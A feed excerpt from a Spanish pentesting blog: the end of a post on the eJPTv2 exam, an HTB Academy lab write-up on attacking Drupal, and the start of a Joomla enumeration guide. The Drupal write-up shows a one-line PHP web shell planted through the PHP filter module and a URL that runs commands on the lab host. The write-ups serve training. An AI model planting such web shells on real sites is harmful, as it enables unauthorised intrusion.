      <li>Monta una carpeta en tu máquina atacante y la sirves en la red con un servidor web. Será tu “carpeta compartida” con los usuarios, las claves, y lo que te haga falta.</li>
    </ul>
  </li>
  <li>
    <p><strong>Comprueba los resultados</strong></p>

    <ul>
      <li>Si te preguntan por la clave de acceso de un usuario y la sacas rompiendo un hash, comprueba que puedes acceder con ese usuario y clave.</li>
    </ul>
  </li>
  <li>
    <p><strong>Documentación:</strong>
Asegúrate de tomar notas detalladas de cada paso que realices. Yo hacia captura de pantalla y copia de comando ejecutado y resultado obtenido. La documentación es crucial para asegurarte de que no te pierdas detalles importantes durante el examen.</p>

    <ul>
      <li>
        <p><strong>Usa alguna herramienta para dibujar la red.</strong></p>

        <ul>
          <li>Yo use <strong>draw.io</strong> y fui colocando los diferentes elementos para obtener una visualizacion de la red con informacion que fui añadiendo durante el examen</li>
        </ul>

        <p><img src="/assets/img/blog/exp_eJPTv2/image.png" alt="alt text" /></p>
      </li>
      <li>
        <p><strong>Usa una aplicacion para toma de notas.</strong></p>

        <ul>
          <li>Yo use <strong>Visual Studio</strong> con ficheros en markdown y usando algunos pluggins para dar formato al codigo que copiaba y pegaba. Tambien puedes usar <strong>Obsidian</strong> o <strong>Notion</strong>, etc. Da igual cual uses pero que te sientas muy comodo usandola.</li>
          <li>Para cada máquina descubierta en la red fui creando un fichero para tomar notas de esa máquina. Y ademas tenia un fichero general para notas sobre la red, el entorno o informacion general que afectara a todas las máquinas.</li>
        </ul>
      </li>
    </ul>
  </li>
</ul>

<h2 id="el-dia-del-examen">El día del examen</h2>

<p>Aunque no tenía pensado presentarme ese día, finalmente decidí hacerlo.</p>

<p>No me sentía completamente preparado, pero fue mi <strong>esposa</strong> quien me dijo que, conociéndome, nunca estaría listo, ya que siempre quiero estar más y más preparado. Ese comentario me hizo pensar que era el momento adecuado para dar el paso, que no perdia nada por intentarlo y que no habia mejor oportunidad que unos dias sin trabajar para poder dedicar esas horas a obtener la certificacion.</p>

<p>El día comenzó con una jornada de trabajo por la mañana. Después de salir del trabajo alrededor de las 15:00 h, almorcé y me tomé un descanso en el sofá de casa para relajarme. Fue en ese momento cuando tomé la decisión de que finalmente me presentaría al examen.</p>

<p>Sobre las 6 de la tarde, cafe en mano, encendí mi PC y me aseguré de que el sistema operativo estuviera completamente actualizado, evitando que una actualización pendiente pudiera ralentizar mi conexión durante el examen.</p>

<p>Antes de iniciar el examen, leí detenidamente los dos documentos informativos (eJPT Lab Guidelines updated y final Letter of Engagement eJPT) para asegurarme de comprender todo el procedimiento y las instrucciones clave. Una vez que me sentí listo, hice clic en “Iniciar examen” y accedí al entorno de laboratorio, el cual tardó unos 5 minutos en cargar.</p>

<p>El examen lo comencé a las <strong>19:00 h</strong>, y desde ese momento me dediqué completamente a explorar la red y las máquinas disponibles. Durante las primeras horas, me tomé mi tiempo para enumerar cada máquina de la red una por una, asegurándome de obtener toda la información posible de cada una antes de pasar a la siguiente. Cuando encontré una máquina que requería un escaneo mas exhaustivo lo dejaba lanzado y, pasaba a la siguiente máquina para no perder tiempo mientras se llevaba a cabo. Esto me permitió aprovechar cada minuto del examen y mantener un ritmo constante sin interrupciones innecesarias.</p>

<p>A las <strong>23:00 h</strong>, decidí tomar mi primer descanso para cenar y despejar un poco la mente. Me sentia muy motivado por los avances conseguidos. Llevaba unas 15 preguntas completadas. Sobre las <strong>00:30 h</strong> volví al examen con energías renovadas.</p>

<p>Continué trabajando hasta las <strong>3:00 h</strong> de la madrugada, hora en la que decidí irme a la cama. Para ese momento, había respondido <strong>18 preguntas de las 35</strong> que debía completar, lo que me dejó un buen margen de trabajo para el día siguiente.</p>

<p>Decidí descansar unas 6 horas, por lo que puse el despertador para despertarme alrededor de las <strong>9:00 h</strong> de la mañana. Tras un desayuno y un buen café cargado, volví al examen para continuar con los siguientes objetivos.</p>

<h3 id="el-segundo-día">El segundo día.</h3>

<p>La mañana comenzó con un repaso de las preguntas que ya había contestado y una revisión de las que aún necesitaba responder. Una vez repasado y organizadas las notas del dia anterior retome el examen con la siguiente máquina de la cual tenía que obtener credenciales de acceso y contestar a una pregunta sobre el metodo necesario para escalar privilegios en esta máquina, pero no conseguía completar este paso.</p>

<p>A pesar de esto, continué con el ataque a las <strong>máquinas 4, 5 y 6</strong>, lanzando ataques mientras seguía intentando encontrar una forma de escalar privilegios en la máquina 3. Estaba decidido a no dejarme vencer, pero esto consumió gran parte de la mañana. Fue un proceso frustrante, ya que me sentía estancado. La escalada de privilegios es algo que he practicado mucho y en esta máquina me estaba siendo imposible encontrar la forma. Esto me suponia no llegar a contestar a algunas preguntas de esta máquina y era algo que no podía permitirme.</p>

<p>Fue entonces cuando decidí ir a <strong>almorzar</strong> y descansar un poco antes de continuar. Necesitaba despejar mi mente para poder regresar al examen con nuevas energías. Tras el descanso, regresé al examen y repasé nuevamente las preguntas que había contestado hasta ese momento.</p>

<p>Llegado este punto Opté por cambiar mi enfoque a una forma más estratégica. Repartí las preguntas entre las máquinas para saber qué necesitaba encontrar en cada una de ellas para poder contestar correctamente.</p>

<p>Consegui una lista que comenzaba asi:</p>

<ul>
  <li>Necesitaba escalar privilegios en la máquina 3.</li>
  <li>Necesitaba la credencial root de la base de datos de la maquina 3.</li>
  <li>Necesitaba encontrar la máquina de pivote a la red interna.</li>
  <li>etc.</li>
</ul>

<p>Tenia que encontrar una <strong>credencial root</strong> para acceder a <strong>MySQL</strong>. Aunque tenia un usuario con muy pocos privilegios, tenía acceso a la base de datos, así que pensé que sería sencillo obtener la clave. Al acceder a la base de datos, vi que el <strong>usuario root</strong> compartía el hash de la contraseña con el usuario de la base de datos que usaba para acceder. Esto indicaba que la clave debía ser la misma, ya que el hash era idéntico.</p>

<p>Sin embargo, al aplicar la técnica de comprobar cada respuesta probando las credenciales obtenidas, no me permitió el acceso. Sabía que esto no tenía sentido, ya que un hash idéntico debería implicar la misma clave. Para no perder demasiado tiempo, decidí dejar este paso para mas adelante.</p>

<p>Algo no estaba bien asi que decidi tomar un descanso y cafe antes de seguir.</p>

<p>La siguiente máquina la resolví relativamente fácil. Utilicé un par de ataques a las credenciales y exploté un servicio SMB, lo que me permitió acceder al sistema y encontrar las respuestas a las preguntas relacionadas con esa máquina. Esto me dio algo de confianza y me permitió avanzar rápidamente.</p>

<p>Volvi a la máquina donde estaba atascado y tras varias horas de pruebas y exploración, logré un avance importante. Conseguí las <strong>credenciales de usuario</strong> necesarias para acceder a la máquina <strong>por SSH</strong> usando un diccionario creado por mi usando todos los ususarios y claves de las respuestas de las preguntas del examen.</p>

<p>Al ingresar con este nuevo usuario, descubrí que podía realizar la escalada de privilegios debido a una mala configuración de permisos <strong>sudo</strong> en el sistema. Esta vulnerabilidad me permitió finalmente escalar privilegios y completar el acceso a la máquina, lo que fue un alivio enorme.</p>

<p>Ya habían pasado algo mas de <strong>24 horas</strong> desde que inicié el examen y en este momento ya tenia 3 máquinas pero no tenia aun localizada la máquina que me daria paso a la red interna. Tenia contestadas casi la totalidad de las preguntas, pero aun me quedaban 3 máquinas de la red y dos de ellas ni las habia tocado y para colmo tenían muy pocos servicios abiertos, lo que hacia mas complicada su explotacion.</p>

<p>Decidi centrarme en la máquina que ya tenia explorada para completar su explotacion. Consegui hacerme con la máquina al cabo de una hora y al enumerar localmente la máquina encontre que esta máquina tenia el acceso a al red interna.</p>

<p>Realice el pivoting a la red interna, comprobe la red y enumere cada máquina que encontre alli. Esto me llevo en total 2 horas mas. Ahora ya tenia todas las preguntas contestadas y solo tenia que comprobar mis respuestas y enviar el examen.</p>

<p>En total tarde aproximadamente 30 horas en entregar mi examen completo y revisado.</p>

<h2 id="el-pentesting-de-las-maquinas">El Pentesting de las máquinas</h2>

<h3 id="máquina-1-windows-con-wordpress-instalado">Máquina 1: <strong>Windows con WordPress instalado</strong></h3>

<p>La primera máquina que encontré fue una máquina con <strong>Windows</strong> y <strong>WordPress</strong> instalado. Mi primer paso fue intentar acceder al servicio <strong>RDP</strong> (Remote Desktop Protocol) utilizando un ataque de fuerza bruta con <strong>Hydra</strong>. Tras realizar el ataque, obtuve acceso exitoso a la máquina.</p>

<p>Una vez dentro, empecé a explorar el sistema y encontré las credenciales de la base de datos de <strong>WordPress</strong>. Con esta información, utilicé <strong>JohnTheRipper</strong> para romper el hash de la contraseña de administrador de <strong>WordPress</strong>. Después de un tiempo, logré obtener las credenciales de administrador de <strong>WordPress</strong>, lo que me permitió tener acceso completo al panel de administración del sitio.</p>

<p>Para complementar la información y realizar una enumeración más detallada, decidí usar la herramienta <strong>WPScan</strong>, especializada en la enumeración de vulnerabilidades en sitios WordPress. Con <strong>WPScan</strong>, pude identificar una serie de vulnerabilidades adicionales y configuraciones del sitio que me ayudaron a responder a todas las preguntas relacionadas con esta máquina.</p>

<p>Con las credenciales de administrador de <strong>WordPress</strong>, pude realizar varias acciones dentro del sitio, como modificar configuraciones y obtener información adicional sobre la máquina. Esto me permitió completar los objetivos del examen relacionados con la máquina número 1.</p>

<h3 id="máquina-2-windows-con-servidor-web">Máquina 2: <strong>Windows con servidor web</strong></h3>

<p>La segunda máquina era un sistema operativo <strong>Windows</strong> que corría un <strong>servidor web</strong>. Al realizar una exploración exhaustiva del servidor web con <strong>nmap</strong>, encontré que tenía un formulario accesible públicamente donde se podía ejecutar código. Este formulario estaba diseñado de manera que permitía a los usuarios introducir comandos que el servidor ejecutaría, lo que me dio una oportunidad para explotar la máquina.</p>

<p>Aprovechando esta vulnerabilidad, decidí inyectar un comando que agregara un nuevo usuario al sistema con privilegios para acceder a <strong>RDP</strong>. Esto me permitió crear un nuevo usuario con permisos adecuados para conectarme al servidor a través de <strong>Remote Desktop Protocol (RDP)</strong>. Después de agregar el usuario y configurar el acceso, utilicé <strong>RDP</strong> para conectarme a la máquina de manera remota y obtener acceso completo al sistema.</p>

<p>Una vez dentro de la máquina, realicé una post-explotación local, comenzando con la enumeración de la máquina. Utilicé herramientas estándar como <strong>whoami</strong>, <strong>netstat</strong>, y otros comandos para obtener más información sobre el sistema, usuarios activos, servicios en ejecución, y otros datos clave del sistema comprometido.</p>

<p>La post-explotación me permitió conocer más sobre la configuración interna de la máquina y cómo sus servicios estaban configurados, lo que me ayudó a obtener información adicional para completar las preguntas relacionadas con la máquina 2.</p>

<h3 id="máquina-3-linux-con-drupal-instalado">Máquina 3: <strong>Linux con Drupal instalado</strong></h3>

<p>La tercera máquina que encontré era un sistema <strong>Linux</strong> con <strong>Drupal</strong> instalado. Al realizar un escaneo con <strong>nmap</strong> para identificar los servicios disponibles, observé que el puerto 80 estaba abierto, lo que indicaba que había un servidor web activo. Utilicé <strong>Nikto</strong> para realizar una evaluación de vulnerabilidades en el servidor web y <strong>Dirb</strong> para buscar directorios ocultos que pudieran contener archivos de configuración interesantes.</p>

<p>No fue suficiente para obtener acceso directo. Fue entonces cuando decidí utilizar <strong>Metasploit</strong> con el exploit <strong>Drupalgeddon2</strong>, una vulnerabilidad crítica en Drupal que había sido publicada en 2018. <strong>Drupalgeddon2</strong> es un <strong>remote code execution (RCE)</strong> exploit que afecta a las versiones vulnerables de Drupal (7.x y 8.x), y permite a un atacante ejecutar código arbitrario en el servidor sin necesidad de autenticación. Esta vulnerabilidad fue catalogada como <strong>CVE-2018-7600</strong> y es conocida por permitir a los atacantes comprometer un sitio web de Drupal con facilidad si no se aplican las actualizaciones de seguridad.</p>

<p>El <strong>exploit Drupalgeddon2</strong> funciona aprovechando un fallo en el sistema de manejo de las solicitudes HTTP en Drupal, permitiendo a los atacantes ejecutar comandos en el servidor. Para usarlo, cargué el <strong>exploit</strong> en <strong>Metasploit</strong>, configuré los parámetros correctos como la dirección IP de la máquina objetivo y el puerto, y ejecuté el ataque.</p>

<p>Tras ejecutar el exploit, logré obtener acceso al servidor con un usuario con muy pocos privilegios pero suficientes para conseguir explorar ficheros de configuracion del servidor de drupal y obtener credenciales de la base de datos. Con estas credenciales accedi a la base de datos y obtuve usuarios y hashes de passwords tanto para drupal como para la base de datos.</p>

<p>Con <strong>JohnTheRipper</strong> y <strong>hashcat</strong> consegui las claves de cada uno de los usuarios de drupal usando como diccionario de claves y usuarios un diccionario personal usando las claves y usuarios que aparecian en las respuestas del examen.</p>

<p>Para la obtencion del usuario root tuve que acceder por <strong>SSH</strong> a la máquina con uno de los usuarios que habia obtenido y desde ahi pude elevar privilegios a root abusando de una mala configuracion de los permisos de sudo para un binario.</p>

<p>Una vez tuve el usuario root de la máquina solo me quedo comprobar cada clave obtenida de la máquina y anotarlo todo.</p>

<h3 id="máquina-4-la-máquina-smb">máquina 4: <strong>La máquina SMB</strong></h3>

<p>La máquina 4 fue un desafío interesante. El primer paso fue realizar la enumeración del servicio SMB en busca de usuarios y recursos expuestos. Durante esta fase, identifiqué varios usuarios que estaban accesibles, lo que me permitió dirigir mis siguientes pasos hacia un ataque más enfocado.</p>

<p>Una vez identificados los usuarios, procedí a realizar un ataque de fuerza bruta con Hydra. Utilizando los usuarios descubiertos en la enumeración SMB, lancé el ataque para intentar adivinar las contraseñas asociadas. Después de un tiempo, conseguí acceder al sistema con éxito utilizando las credenciales correctas.</p>

<p>Con acceso a la máquina, utilicé el módulo psexec de Metasploit para ejecutar comandos de forma remota en el sistema. Gracias a este módulo, obtuve acceso con privilegios de NT AUTHORITY\SYSTEM, lo que me dio control total sobre la máquina.</p>

<p>Durante la enumeración local de la máquina, descubrí que tenía dos interfaces de red. Este detalle me llevó a intentar pivotar hacia la otra red utilizando la máquina comprometida como un punto de acceso. Al realizar este pivoting, logré explorar la red interna, lo que me permitió completar las preguntas relacionadas con la máquina y avanzar en el examen.</p>

<p>Este proceso fue crucial para acceder a la red interna, y el uso de pivoting me permitió cumplir con los requisitos del examen relacionados con esta máquina.</p>

<h3 id="maquina-5-y-6">Maquina 5 y 6</h3>

<p>Estas maquinas tenian muy pocos servicios abiertos y al poco tiempo me di cuenta que estaban de relleno a modo de “rabbit hole”</p>

<h2 id="lecciones-aprendidas">Lecciones aprendidas</h2>

<p>Las lecciones más importantes son:</p>

<ul>
  <li>La importancia de una buena enumeración y recopilación de información.</li>
  <li>El valor de tener una sólida comprensión de las herramientas de pentesting y saber cuándo usarlas.</li>
  <li>La necesidad de ser paciente y meticuloso durante el proceso de explotación.</li>
</ul>

<p>En conclusión, el examen de eJPTv2 fue una experiencia desafiante pero gratificante. Me permitió poner en práctica mis habilidades de pentesting en un entorno realista aplicando mis conocimientos y habilidades.</p>

<p>Para aquellos interesados en comenzar una carrera en pentesting, recomiendo encarecidamente este examen como un primer paso.</p>]]></content><author><name>ibl4zqu3z</name></author><category term="Artículos" /><category term="Certificaciones" /><summary type="html"><![CDATA[Mi experiencia realizando el examen de eJPTv2]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ibl4zqu3z.github.io/assets/img/blog/exp_eJPTv2/eJPTv2_experience_cover_1.png" /><media:content medium="image" url="https://ibl4zqu3z.github.io/assets/img/blog/exp_eJPTv2/eJPTv2_experience_cover_1.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB Academy CTF - Enumeración y ataque a Drupal</title><link href="https://ibl4zqu3z.github.io/blog/writeups/enumeracion-ataque-drupal-htb-academy.html" rel="alternate" type="text/html" title="HTB Academy CTF - Enumeración y ataque a Drupal" /><published>2026-01-04T10:00:00+01:00</published><updated>2026-01-04T10:00:00+01:00</updated><id>https://ibl4zqu3z.github.io/blog/writeups/enumeracion-ataque-drupal-htb-academy</id><content type="html" xml:base="https://ibl4zqu3z.github.io/blog/writeups/enumeracion-ataque-drupal-htb-academy.html"><![CDATA[<h2 id="qué-es-drupal">¿Qué es Drupal?</h2>

<p><a href="https://www.drupal.org/">Drupal</a>, fue lanzado en 2001, es otro CMS de código abierto que es popular entre empresas y desarrolladores. Esta escrito en PHP y admite el uso de MySQL o PostgreSQL para el backend. Además, se puede utilizar SQLite si no hay un DBMS instalado.</p>

<p>Drupal permite a los usuarios mejorar sus sitios web mediante el uso de temas y módulos.</p>

<h2 id="por-que-es-interesante-saber-enumerar-y-atacar-un-sistema-drupal">¿Por que es interesante saber enumerar y atacar un sistema Drupal?</h2>

<ul>
  <li>Es el tercer CMS más popular por participación de mercado</li>
  <li>Alrededor del 1,5% de los sitios en Internet ejecutan Drupal.</li>
  <li>Está disponible en 100 idiomas</li>
  <li>tiene casi 43.000 módulos y 2.900 temas.</li>
  <li>Está escrito en PHP.</li>
  <li>33 de las empresas Fortune 500 utilizan Drupal de alguna manera</li>
  <li>El 56% de los sitios web gubernamentales en todo el mundo utilizan Drupal</li>
  <li>El 23,8% de las universidades, colegios y escuelas utilizan Drupal en todo el mundo</li>
  <li>Hay hasta 2,5 millones de sitios en Internet que utilizan Joomla.</li>
  <li>Algunas de las principales marcas que utilizan Drupal incluyen: Tesla y Warner Bros Records</li>
</ul>

<p>Para mostrar como enumerar y atacar Drupal voy a utilizar un entorno controlado donde una maquina tiene los vhosts drupal.inlanefreight.local
drupal-qa.inlanefreight.local con IP 10.129.184.121.</p>

<h2 id="descubrimiento">Descubrimiento</h2>

<p>Un sitio web basado en Drupal puede reconocerse de varias formas: por el texto de cabecera o pie Powered by Drupal, el logotipo típico del CMS, la exposición de ficheros como CHANGELOG.txt o README.txt, indicios en el código fuente (metadatos, rutas y assets característicos) y pistas en robots.txt, como referencias a rutas habituales tipo /node.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/drupal.png" alt="alt text" /></p>

<p>Otra forma de identificar Drupal es a través de los nodos. Drupal estructura e indexa el contenido como nodos (p. ej., una entrada de blog, una encuesta o un artículo) y, en configuraciones por defecto o comunes, las URLs suelen seguir el patrón /node/, donde  es el identificador numérico del nodo.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/image.png" alt="alt text" /></p>

<p>Drupal define, por defecto, tres perfiles de usuario:</p>

<ul>
  <li>Administrator: control total sobre el sitio Drupal.</li>
  <li>Authenticated User: usuarios con sesión iniciada; pueden realizar acciones como crear o editar contenido según los permisos asignados.</li>
  <li>Anonymous: visitantes sin autenticación; normalmente limitados a lectura de contenido público.</li>
</ul>

<h2 id="enumeracion">Enumeracion</h2>

<p>Puedo realizar una combinación de enumeración manual y basada en herramientas (automatizada) para descubrir la versión, los complementos instalados y más detalles sobre Drupal.</p>

<p>Dependiendo de la versión de Drupal y de las medidas de endurecimiento que se hayan implementado, es posible que necesitemos probar varias formas de identificar el número de versión. Las instalaciones más nuevas de Drupal bloquean de forma predeterminada el acceso al CHANGELOG.txt y README.txt</p>

<p>Si compruebo el archivo CHANGELOG.txt de la instalacion de Drupal con el comando:</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
curl -s http://drupal-qa.inlanefreight.local/CHANGELOG.txt | grep -m2 ""
</code></pre></div></div>

<p>Obtengo : Drupal 7.30, 2014-07-24</p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/drupal_1.png" alt="alt text" /></p>

<p>Aquí he identificado una versión anterior de Drupal en uso. Si fuera mas actual hubiera contestado con un error404.</p>

<p>Utilizare Droopescan para escanear de forma automatizada, para ello instalo droopescan con</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
sudo pip3 install droopescan
</code></pre></div></div>

<p>Lanzo un escaneo</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
droopescan scan drupal -u http://drupal-qa.inlanefreight.local
</code></pre></div></div>

<p>y tras unos segundos de escaneo me devuelve la siguiente informacion.</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
[+] Plugins found:
    profile http://drupal-qa.inlanefreight.local/modules/profile/
    php http://drupal-qa.inlanefreight.local/modules/php/
    image http://drupal-qa.inlanefreight.local/modules/image/

[+] Themes found:
    seven http://drupal-qa.inlanefreight.local/themes/seven/
    garland http://drupal-qa.inlanefreight.local/themes/garland/

[+] Possible version(s):
    7.30

[+] Possible interesting urls found:
    Default changelog file - http://drupal-qa.inlanefreight.local/CHANGELOG.txt
    Default admin - http://drupal-qa.inlanefreight.local/user/login

[+] Scan finished (0:01:39.074144 elapsed)
</code></pre></div></div>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/carbon%20(2).png" alt="alt text" /></p>

<p>Esta instancia parece estar ejecutando la versión 7.30 de Drupal. Al momento de escribir este artículo, esta no era la última versión, ya que se lanzó en julio de 2014.</p>

<p>Una búsqueda rápida de vulnerabilidades relacionada con Drupal no muestra nada evidente para esta versión principal de Drupal. En este caso, a continuación querríamos analizar los complementos instalados o el abuso de la funcionalidad incorporada.</p>

<h2 id="atacando-drupal">Atacando Drupal</h2>

<h3 id="aprovechar-el-módulo-de-filtro-php">Aprovechar el módulo de filtro PHP</h3>

<p>En versiones anteriores a la version 8 de Drupal, era posible iniciar sesión como administrador y habilitar el modulo PHP filter, que “permite evaluar código/fragmentos PHP integrados”</p>

<p>En primer lugar necesitamos acceder al modulo de administracion de drupal.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/image-1.png" alt="alt text" /></p>

<p>En este caso he probado el acceso trivial admin:admin y ha sido correcto.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/image-4.png" alt="alt text" /></p>

<p>Desde el menu de content puedo crear una pagina basica que tenga un fragmento de PHP malicioso que permita la ejecucion de codigo.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/image-5.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/image-6.png" alt="alt text" /></p>

<p>Por ejemplo <code class="language-plaintext highlighter-rouge">system($_GET['cmd']);</code> aunque es mejor hacerlo con un valor hasheado para evitar que otro atacante se encuentre nuestro webshell y lo use.</p>

<p>Agrego una pagina con el codigo siguiente:</p>

<p>php</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?&gt;
</code></pre></div></div>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/image-7.png" alt="alt text" /></p>

<p>Y me aseguro de configurar Text format desplegable a PHP code</p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/image-8.png" alt="alt text" /></p>

<p>Pulso en guardar la pagina y obtengo la confirmacion.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/image-9.png" alt="alt text" /></p>

<p>Ahora puedo consultar datos desde el navegador o usando curl. Por ejemplo una consulta de usuario <code class="language-plaintext highlighter-rouge">http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id</code></p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/image-10.png" alt="alt text" /></p>

<p>Tambien podriamos leer contenido de ficheros por ejemplo consultando</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=cd%20/var/www/drupal.inlanefreight.local;%20ls;%20cat%20flag_6470e394cbf6dab6a91682cc8585059b.txt
</code></pre></div></div>

<p>lo que me daria el contenido del fichero txt</p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/image-11.png" alt="alt text" /></p>

<p>Como dije antes a partir de la versión 8, el Filtro PHP El módulo no está instalado de forma predeterminada. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos. Esto seria cambiar el sistema del cliente auditado porlo que deberiamos comprobar el scope y consultar con el cliente primero.</p>

<p>Para ver como hacerlo lo mostrare con el host drupal-dev.inlanefreight.local que monta una version mas actual de Drupal.</p>

<p>El primer paso seria descargar la versión más reciente del módulo desde el sitio web de Drupal.</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
</code></pre></div></div>

<p>Una vez descargado ire a Administracion &gt; Reports &gt; Available updates.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-drupal/image-12.png" alt="alt text" /></p>

<p>Con cualquiera de estos ejemplos, debemos mantener informado a nuestro cliente y obtener permiso antes de realizar este tipo de cambios. Además, una vez que hayamos terminado, debemos eliminar o deshabilitar el PHP Filter module y elimine cualquier página que hayamos creado para obtener la ejecución remota de código.</p>

<h3 id="aprovechar-las-vulnerabilidades-conocidas">Aprovechar las vulnerabilidades conocidas</h3>

<p>A lo largo de los años, el núcleo de Drupal ha sufrido algunas vulnerabilidades graves de ejecución remota de código, cada una de ellas denominada Drupalgeddon. Al momento de escribir este artículo, existen 3 vulnerabilidades de Drupalgeddon.</p>

<ul>
  <li><strong>CVE-2014-3704</strong>, conocido como <strong>Drupalgeddon</strong>, afecta las versiones 7.0 hasta 7.31 y se solucionó en la versión 7.32. Esta fue una falla de inyección SQL preautenticada que podría usarse para cargar un formulario malicioso o crear un nuevo usuario administrador.</li>
  <li><strong>CVE-2018-7600</strong>, también conocida como <strong>Drupalgeddon2</strong>, es una vulnerabilidad de ejecución remota de código, que afecta a versiones de Drupal anteriores a 7.58 y 8.5.1. La vulnerabilidad se produce debido a una desinfección de entrada insuficiente durante el registro del usuario, lo que permite inyectar maliciosamente comandos a nivel de sistema.</li>
  <li><strong>CVE-2018-7602</strong>, también conocida como <strong>Drupalgeddon3</strong>, es una vulnerabilidad de ejecución remota de código que afecta a múltiples versiones de Drupal 7.x y 8.x. Esta falla explota una validación incorrecta en la API de formulario.</li>
</ul>]]></content><author><name>ibl4zqu3z</name></author><category term="Artículos" /><category term="Drupal" /><category term="CMS" /><summary type="html"><![CDATA[Writeup práctico sobre identificación, enumeración y explotación controlada de Drupal en un entorno de laboratorio.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ibl4zqu3z.github.io/assets/img/blog/enumeracion-ataque-drupal/featured_image_Drupal.png" /><media:content medium="image" url="https://ibl4zqu3z.github.io/assets/img/blog/enumeracion-ataque-drupal/featured_image_Drupal.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Enumeración y ataque a Joomla</title><link href="https://ibl4zqu3z.github.io/blog/writeups/enumeracion-ataque-joomla-htb-academy.html" rel="alternate" type="text/html" title="Enumeración y ataque a Joomla" /><published>2026-01-04T10:00:00+01:00</published><updated>2026-01-04T10:00:00+01:00</updated><id>https://ibl4zqu3z.github.io/blog/writeups/enumeracion-ataque-joomla-htb-academy</id><content type="html" xml:base="https://ibl4zqu3z.github.io/blog/writeups/enumeracion-ataque-joomla-htb-academy.html"><![CDATA[<h2 id="que-es-joomla">¿Que es Joomla?</h2>

<p><a href="https://www.joomla.org/">Joomla</a>, fue lanzado en agosto de 2005, es otro CMS gratuito y de código abierto que se utiliza para foros de debate, galerías de fotos, comercio electrónico, comunidades de usuarios y más.</p>

<h2 id="por-que-es-interesante-saber-enumerar-y-atacar-un-sistema-joomla">¿Por que es interesante saber enumerar y atacar un sistema Joomla?</h2>

<ul>
  <li>Joomla representa el 3,5% de la cuota de mercado de CMS</li>
  <li>Joomla es 100% gratuito</li>
  <li>Está escrito en PHP y utiliza MySQL en el backend.</li>
  <li>Hay hasta 2,5 millones de sitios en Internet que utilizan Joomla.</li>
  <li>Joomla impulsa el 3% de todos los sitios web en Internet, casi 25.000 del millón de sitios más importantes del mundo (solo el 10% del alcance de WordPress)</li>
  <li>Algunas organizaciones notables que utilizan Joomla incluyen eBay, Yamaha, la Universidad de Harvard y el gobierno del Reino Unido.</li>
</ul>

<p>Se pueden ver estadisticas de uso de Joomla en <a href="https://developer.joomla.org/about/stats.html">su web de estadísticas de uso</a></p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/Usage%20Statistics%20Joomla.jpg" alt="alt text" /></p>

<h2 id="enumeracion">Enumeracion</h2>

<p>Para la enumeracion y ataque voy a usar una web joomla controlada situada en inlanefreight.local detras de la IP 10.129.111.9</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/web.jpg" alt="alt text" /></p>

<p>Para poder realizar correctamente la enumeracion en local añado la IP y el vhosts a /etc/hosts con los comandos:</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IP=10.129.111.9
printf "%s\t%s\n\n" "$IP" "app.inlanefreight.local" | sudo tee -a /etc/hosts
</code></pre></div></div>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon.png" alt="alt text" /></p>

<p>A menudo podemos identificar a Joomla mirando el código fuente de la página, lo que nos indica que estamos tratando con un sitio Joomla.</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -s https://app.inlanefreight.local | grep Joomla
</code></pre></div></div>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(1).png" alt="alt text" /></p>

<p>Puedo invstigar el fichero robots.txt para ver que contiene y si esta ocultando directorios interesantes o informacion relevante.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(2).png" alt="alt text" /></p>

<p>A veces es posible verificar la version de Joomla en el README.txt</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(3).png" alt="alt text" /></p>

<p>Incluso a veces nos la puede mostrar el fichero joomla.xml</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(4).png" alt="alt text" /></p>

<p>El archivo <code class="language-plaintext highlighter-rouge">cache.xml</code> puede obtener la versión aproximada. Se encuentra en <code class="language-plaintext highlighter-rouge">plugins/system/cache/cache.xml</code>.</p>

<p><img src="/assets/img/blog/enumeracion-ataque-joomla/carbon%20(5).png" alt="alt text" /></p>

<h3 id="enumeracion-con-droopescan">Enumeracion con droopescan</h3>

